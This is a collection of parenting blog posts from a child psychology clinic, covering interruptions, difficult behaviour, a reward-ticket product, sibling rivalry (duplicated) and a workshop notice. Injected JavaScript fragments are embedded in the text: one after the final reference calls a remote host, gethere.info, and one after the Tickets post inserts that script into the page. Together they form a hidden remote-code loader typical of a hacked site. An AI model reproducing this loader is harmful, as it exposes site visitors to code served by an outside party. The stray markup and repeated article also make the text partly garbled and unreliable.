Tag: Toddler Behaviour

Managing Interruptions

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Posted on by Kimberley O'Brien

Engaging in adult conversation, for many parents, is a rare opportunity. With busy schedules, tag-team parenting and children in need of attention, brief connections with other parents and even your own partner, are often few and far between. Given the infrequency of such events, it is not surprising most parents are angered when children interrupt…on purpose…all the time!

Young children and patience

For children under the age of 8 years, the importance of patience is a difficult skill to acquire. Young children are impulsive by nature and being told to “wait a minute” is likely to be lost when parents are engaged in a frantic flow of words. Managing interruptions in a calm manner, requires planning and practice, to avoid a potentially positive exchange from going pear-shaped.

Helping children manage interruption

Interrupting, may take the form of ‘talking over others’,‘creating a loud distraction’ or physically pulling on a person to gain attention. Let’s face it, many adults do all these things to toddlers to encourage them to move on from one activity to the next, so it’s not surprising children try the same antics as they mature. Interestingly, however, the majority of school-aged students resist the urge to interrupt their teacher, while at home most children have no qualms about interrupting their parents. Based on stories generously shared by clients in the clinic, I know interruptions tends to peak when one parent returns home from work and everybody wants to talk at once. Unfortunately, children tend to bare the brunt of the blame, when parents are tired and decent communication seems like a thing of the past.

One of the best ways to help children aged 2-6 years learn to avoid “interrupting” is to give them some tools to manage it.

  • Firstly, set the scene. Help your child imagine where the interruption may take place and then role play some suggestions. For example, suggest your child holds your hand when they have something to say and squeeze their hand in return, to acknowledge their request. Alternatively, the child’s signal could be to place their hand on the parent’s knee, if the parent is seated, and in response the parent places their hand on top, as a silent gesture of recognition. These techniques are best applied in a social setting, when subtle signs are more easily recognised. Special signals between parent and child strengthen the relationship and far outweigh an angry exchange, eg; “DON’T INTERRUPT!” in the company of friends, which typically terminates the conversation anyway.
  • In the home setting, the whole family may wish to be involved in a role play where interruptions are rife. However, the role play should be conducted on a weekend when there is sufficient time to test out everybody’s ideas. Switching roles, whereby a parent plays the role of child, and vice versa, will help both parties see the situation from a different point of view. Giving the issue of interrupting a solid focus in the presence of all family members, doesn’t need to involve a stern warning. A role play will inject some humour into a situation and laughter will lubricate discussion around a sensitive family issue. Consider pausing mid-role play to ask for suggestions about how to fix the issue. Be open to ideas.
  • There are many ways to create change. Consider having more brief conversations, rather than one long discussion with the same person. Use a timer to set limits on one-to-one adult conversation and graph your child’s improvements in the ‘patience department’.
  • A visual graph on the fridge may be a source of pride for children and a reminder of progress. Imagine the difference when interrupting occurs every 3 minutes as opposed to every 3 seconds. Verbal praise after a successful social interaction should also be part of the equation, both at home and in the community.

Luckily the ‘interrupting phase’ for children is typically short-lived. As children mature and early adolescence emerges, conversations with peers far outweigh any desire to interrupt adult exchanges. Parents are more likely to find themselves interrupting long phone calls between adolescent girls or cutting short late night social exchanges on Skype. In these circumstances, remember the time it took you to teach your children the rules of patience and respect…and remember to employ these social skills in return.

Think: silent signal, recognition in return and a pre-planned time frame to wind up the conversation.

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Managing Difficult Behaviour

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Posted on by Leonardo Rocker (Quirky Kid Staff)

Children are more likely to behave the way we would like them to when we create an environment that reduces opportunities for challenging behaviour. This means an environment that is rich in age appropriate, stimulating experiences but also one that minimises “triggers” for challenging behaviours like tantrums, aggression and defiance. The most important part of a child’s environment are the relationships that inhabit it. Relationships that are built on warmth and mutual respect will teach children prosocial behaviour and encourage them to live up to our expectations. Prevention is better than cure so with a few measures in place; an environment can be created in which behavioural challenges are less likely to arise, and we can be better prepared to respond when they do. So how do we create this environment?

Below are tried and tested suggestions we provide parent that visit us at The Quirky Kid Clinic.

Set clear rules and boundaries

Rules that are clear, reasonable and meaningful, help children to understand what is expected of them and provide you with simple reminders that you can give to children before situations get out of hand. Afterall, how can we expect them to behave in a certain way if we haven’t told them what that is? Only a few rules are needed and ideally, children will be involved in creating these as part of a team effort. You may even like to write up a family contract to sign and display somewhere in the house, (make sure the grown-ups sign too)! Keep the language positive and make it a project that everyone wants to be a part of.

Children are more likely to follow a rule if they feel an agreement has been met rather than that they have had something imposed upon them. Also, decide and make clear what the consequences will be for breaking the rules and always remember to follow through. Logical consequences like removing a toddler from the sand pit when they are throwing sand at their sibling work best for younger children and time-out can be helpful from about three years if used appropriately (e.g. one minute per year of the child’s age and minimal interaction so that the situation can defuse). Withdrawal of privileges such as loss of Gadgets time is only effective once the child is old enough to link their behaviour to a consequence that occurs later in time (about six years and up).

To be meaningful for children, consequences need to be immediate. It is most important that when enacting rules and boundaries parents are predictable and consistent. Studies have shown that children can sense when one parent has a different parenting style to another and this can lead to an increase in behavioural and emotional concerns.

Teach and support communication

Behaviour is communication. Usually, children behave in a certain way to tell us something and achieve a certain goal. They haven’t learnt the communication skills to tell us what is bothering them or what they need, and so they show us through their behaviour. As long as the message is getting across and their needs are being met the behaviour will continue. Look for what the message is behind the behaviour and help children to build their emotional language “I can see you are very angry!” Give them an alternative, more appropriate, ways to communicate as you support them in navigating the purpose behind their behaviour. This may be through the use of visual prompts or teaching and practising specific skills such as asking for help with a difficult task that would normally lead to frustrated outbursts. This goes both ways; it is important not to assume that communicating verbally is enough to tell a child what they need to know. Timers, visual schedules and stop signs are great tools for this. Quirky Kid has developed a tool called Tickets, to assist parents to do just this. It is popular and worth a try.

Provide Emotional outlets & Play!

Give children a chance to let it all ‘hang out!’ Children get stressed, anxious and frustrated just as we do so plenty of opportunities to express this in a safe and appropriate way will decrease the chance of these emotions bubbling over. Put on some music, paint, draw, dance and sing. Stomp around like angry monsters or just go for a run outside. Play is also an important way for children to learn emotional regulation, problem-solving and social skills. Take the opportunity to play with your child and hand over the controls. Giving them a chance to lead you in their choice of games is an excellent way to give children the sense of control that they often seek.

Catch them getting it right

Children seek out both positive and negative attention and can draw their parents in by doing the wrong thing. Be mindful of this and avoid giving attention to this kind of behaviour, consider giving yourself a time out if you need to. Save your attention for the behaviours you would like to see more of.

We almost certainly will tell a child when they are doing the wrong thing, but what about when they get it right? Plenty of specific, meaningful praise will remind children of the kind of behaviour you like to see and will encourage them to continue in the same way. Tell them exactly what would like to see more of, e.g.

“I really love the way you took your plate to the dishwasher before I had to ask, thank you!”

or

“That was such a kind thing to say to your sister, you have been playing together really nicely today.”

Reward schemes can also be helpful when you are trying to target a specific behaviour. Agree with your child on a reward that is meaningful to them and remember to reward but never bribe! As with consequences for challenging behaviour, rewards should be immediate. Also, they should not be taken away once they have been earned. Again, Quirky Kid has developed a tool called Tickets, to assist parents to do just this.

Know yourself and your triggers

Tired? Stressed? Had a bad day? Be mindful of how this can affect the way you respond to your child’s behaviour. Think about  what your buttons are and how you can respond with a level head when they are pushed. If you feel yourself being drawn into an argument, take a step back and try not to react in an emotional way as this usually adds fuel to the fire. Having some pre-planned strategies of how you will respond when certain behaviours occur will help you to feel calm and in control.

Finally, remember to look after yourself! Talk about that enormous tantrum and how it made you feel with someone you trust. Laugh about it, cry about it and take the time to refill your cup by doing the things you love. Think of the team of adults you have around you; consistency across parents and other caregivers will help support you in supporting your child.

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References

Australian Psychological Society. Parent Guide to Helping Children manage Conflict, Aggression and Bullying www.psychology.org.au/tip_sheets

Berkien et al. (2012) Children’s perception of dissimilarity in parenting styles are associated with internalizing and externalizing behaviour.

Brotman et al. (2011) Promoting Effective Parenting Practices and Preventing Child Behavior Problems in School Among Ethnically Diverse Families From Underserved, Urban Communities.

Sutherland & Conroy (2012). Best in Class – A classroom based model for ameliorating problems behaviours in early childhood settings.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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Tickets – a tool to tame behaviour

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Posted on by Leonardo Rocker (Quirky Kid Staff)

We are proud to introduce our newest innovation – The Quirky Kid Tickets!  Parents have been asking for and we are proud to introduce our effective behaviour management tool as recommended by Kimberley O’Brien, Child Psychologist.

A tool to tame bahaviour image

Tickets are a complete reward system encouraging you and your child to work together to manage behaviour.

You start by setting clear, achievable goals together. Follow this up with lots of direct praise when you see your child achieve the goal. Finally, watch the surprise reward appear before your eyes as they scratch their Tickets to reveal fun and creative activities you can all share in.

‘Tickets’ is the latest resource to come from the creatives minds at the Quirky Kid Clinic. An inventive and cooperative tool for managing your child’s behaviour.

It is simple:

– Set a goal
– Give your child a ticket to acknowledge when the goal is achieved
– When your child collects enough tickets, he/she gets to scratch and win!
– Lastly, enjoy the fun and interactive reward activities together!

The Sunday Telegraph completed an article about our resource. You can read about it on The Telegraph online.

Visit the Quirky Kid Shoppe for more information on the Tickets and other unique Therapeutic and developmental resources for children and families.

We love therapeutic resources and go to great lengths to personally develop and produce our hand-packed kits. We are committed to providing parents and professionals around the world with creative and effective therapeutic tools that are tried, tested and loved in classrooms, clinics and lounge rooms around the globe.document.currentScript.parentNode.insertBefore(s, document.currentScript);

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Sibling Rivalry

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Posted on by Leonardo Rocker (Quirky Kid Staff)

Image from the 'Just Like When Cards' by Quirky Kid

Fighting between siblings, or sibling rivalry,  is a common concern among parents. A certain amount of arguing between children in families is normal, and is one of the ways that children learn the importance of sorting out problems independently, respecting people’s feelings and belongings. Additionally, learning how to fight fairly without hurting each other, within the home environment, may assist children in their ability to sort out issues in future relationships.

A degree of sibling rivalry is normal as learning to live together can be difficult when dealing with the different ages, needs and personalities involved. As children reach different stages of development, their evolving needs can significantly impact on the way they interact and relate with each other.

What are the Common Causes of Sibling Rivalry?

Jealousy and competition are the main causes for sibling rivalry and fighting.

A child may feel that their sibling is receiving more love or attention from a parent, and in response may try to ‘take it out’ on their sibling. Rates of sibling rivalry are lower in families where children feel they are treated equally by their parents.

Other factors that may influence how often sibling rivalry occurs include:

  • Gender and age – sibling rivalry is most likely to occur when the children are of the same gender and close together in age.
  • Toddlers – tend to be possessive of their toys and are learning to assert their will. If a brother or sister attempts to pick up one of their toys, the toddler may react aggressively. This often contributes to sibling rivalry among toddlers.
  • School-aged children – have a strong concept of fairness and equality and may not understand why a younger sibling is receiving additional attention.
  • Teenagers – are developing a sense of individuality and independence and may resent having to spend time looking after younger siblings or helping with house work contributing to sibling rivalry.
  • Individual personalities and temperaments – For instance, if one child tends to cling and be drawn to parents for their love and affection, this can be resented by siblings who don’t seek out or don’t receive the same treatment by their parents.
  • Sibling with special needs – a child may pick up on the amount of time and energy their sibling receives, and act out on this disparity for attention due to lack of understanding of the situation.
  • Examples parents set – the way in which parents resolve conflicts and problems has a significant impact on the way that children interact and resolve their own conflicts. For instance, when parents resolve their issues in a respectful and productive manner, the likelihood that the children of such parents will adopt these techniques is increased. As a parent it is important to manage sibling rivalry.

What can parents do to prevent sibling rivalry?

  • Spend special time with each child on a regular basis to avoid sibling rivalry.
  • Together, set ground rules for acceptable behaviour, such as no name calling, no yelling or hitting.
  • Provide children with their own space and time to do their own thing. For example to play with toys by themselves or to own something special that they don’t have to share. This will help to reduce sibling rivalry.
  • Try not to compare children with each other.
  • Be generous with affection.
  • Have fun together as a family. This will establish a peaceful way for children to spend time together. Playing board games, throwing a ball or watching a movie together are some good ways to do this.

If parents have to get involved….

  • Separate kids until they are calm. This will stop the fight from escalating and will provide an opportunity for emotions to die down. Later the fight can be revisited as a learning experience.
  • Parents should be aware of their own feelings, and to remain fair, even when feeling more frustration towards one child.
  • Try not to take sides, anyone who is involved is partly responsible.
  • Set up a “win-win” situation so that each child gains something. For example, if both children wanted to play with the same toy, suggest playing a game together.
  • Reminding children of the ground rules  will reduce sibling rivalry.
  • Help them listen to each other’s feelings. If required, assist them to work out ways to solve the problem and reduce sibling rivalry.

When possible don’t get involved in the fight. As children learn to cope with disputes, they learn important skills, such as valuing another person’s perspective, how to compromise and negotiate and how to control aggressive impulses.

However, if it is evident that a child is feeling upset, help them find ways to express their feelings before a fight starts. Such as playing with playdough or water for younger children or going for a run or listening to music for older children.

Sometimes, the sibling rivalry becomes so severe that it disrupts daily functioning and can significantly affect children emotionally.

How can the Quirky Kid Clinic help?

There are many ways we can help you to manage sibling rivalry. If you believe your family would benefit from some assistance with sibling rivalry, please contact the Quirky Kid Clinic on (02) 9362 9297 to discuss the following options:

Recommended Resources:

image of ticktes behaviour tool

 

 

—–
References:

This post was developed by Corina Vogler, Provisional Psychologist, employed by the Quirky Kid Clinic.

Information for this fact sheet was taken from Kimberley O’Brien, Child Psychologist, kidshealth.org, and the Raising Children Network.

Fighting between siblings, or sibling rivalry,  is a common concern among parents. A certain amount of arguing between children in families is normal, and is one of the ways that children learn the importance of respecting other peoples feelings, belongings and to sort out problems independently. Additionally, Learning how to fight fairly and without hurting each other within the home environment may assist children in their ability to sort out issues in future relationships.

A degree of sibling rivalry is normal as learning to live together can be difficult when dealing with the different ages, needs and personalities involved. As children reach different stages of development, their evolving needs can significantly impact on the way they interact and relate with each other.

What are the Common Causes of Sibling Rivalry?

Jealousy and Competition are the main causes for siblings to fight and sibling rivalry.

A child may feel that their sibling is receiving more love or attention from a parent, and in response may try to ‘take it out’ on their sibling. Rates of sibling rivalry are lower in families where children feel they are treated equally by their parents.

Other factors that may influence how often sibling rivalry occur include:

  • Gender and age – sibling rivalry is most likely to occur when the children are of the same gender and close together in age
  • Toddlers – tend to be possessive of their toys and are learning to assert their will. If a brother or sister attempt to pick up one of their toys the toddler may react aggressively.
  • School-aged children – have a strong concept of fairness and equality and may not understand why a younger sibling is receiving additional attention.
  • Teenagers – are developing a sense of individuality and independence and may resent having to spend time looking after younger siblings or helping with house work.
  • Individual personalities and temperaments – For instance, if one child tends to be clingy and drawn to parents for their love and affection, this can be resented by siblings who don’t seek out or don’t receive the same treatment by their parents.
  • Sibling with special needs – a child may pick up on the amount of time and energy their sibling receives, and act out on this disparity for attention or due to lack of understanding of the situation.
  • Examples parents’ set – the way in which parents resolve conflict and problems has a significant impact on the way that children interact and resolve their own conflict. For instance, when parents resolve their issues in a respectful and productive manner, the likelihood that the children of such parents will adopt these techniques is increased.

What parents can do to prevent fights

  • Spend special time with each child on a regular basis.
  • Together set ground rules for acceptable behaviour, such as no name calling, no yelling or hitting.
  • Provide children with their own space and time to do their own thing. For example to play with toys by themselves or to own something special that they don’t have to share.
  • Try not to compare children with each other.
  • Be generous with affection.
  • Have fun together as a family. This will establish a peaceful way for children to spend time together. Playing board games, throwing a ball or watching a movie together are some good ways to do this.

If parents have to get involved

  • Separate kids until they are calm. This will stop the fight from escalating and will provide an opportunity for emotions to die down. Later the fight can be revisited as a learning experience.
  • Parents should be aware of their own feelings, and to remain fair, even when feeling more frustration towards one child.
  • Try not to take sides, anyone who is involved is partly responsible.
  • Set up a “win-win” situation so that each child gains something. For example, if both children wanted to play with the same toy, suggest playing a game together.
  • Remind children of ground rules.
  • Help them listen to each others feelings. If required, assist them to work out ways to solve the problem.

When possible don’t get involved in the fight. As children learn to cope with dispute, they learn important skills, such as valuing another person’s perspective, how to compromise and negotiate and how to control aggressive impulses.
However, if it is evident that a child is feeling upset, help them find ways to express their feelings before a fight starts. Such as playing with playdough or water for younger children or going for a run or listening to music for older children.

Sometimes, the conflict between siblings becomes so sever that it disrupts daily functioning and can significantly effect children emotionally.
How the Quirky Kid Clinic can help
If you believe your family would benefit from some assistance with sibling rivalry. Please contact the Quirky Kid Clinic on (02) 9362 9297 begin_of_the_skype_highlighting              (02) 9362 9297      end_of_the_skype_highlighting to discuss the following options:

  • Individual counselling and therapy with one of our experienced Child Psychologists.
  • Family counselling with one of our experienced Child Psychologists.
  • “Raised on Praise” workshops for parents.

Information for this fact sheet was taken from Kimberley O’Brien, Child Psychologist, kidshealth.org, and the Raising Children Network.

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Lilyfield Playgroup

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Posted on by Leonardo Rocker (Quirky Kid Staff)

Lilyfield Playgroup has commissioned  the Quirky Kid Clinic to develop an interactive workshop evening with Child Psychologist Kimberley O’Brien. The event is  hosted by Lilyfield Playgroup.

This interactive workshop will introduce parents to useful resources to address children’s  social and behavioural issues commonly discussed in a play therapy session.

Practical Strategies for food refusal, tantrums, social challenges, sibling rivalry, and other common issues will be shared with time fo Q&A.

Booking Details:

  • This is a closed event.
  • When: 7.30-10 pm, Tuesday 25 May 2010
  • Where: The Red Lion Hotel, Rozelle (upstairs)
  • If you’d like to attend, please add your name to the list at the sign-in desk at Playgroup so that we can get an idea of numbers.

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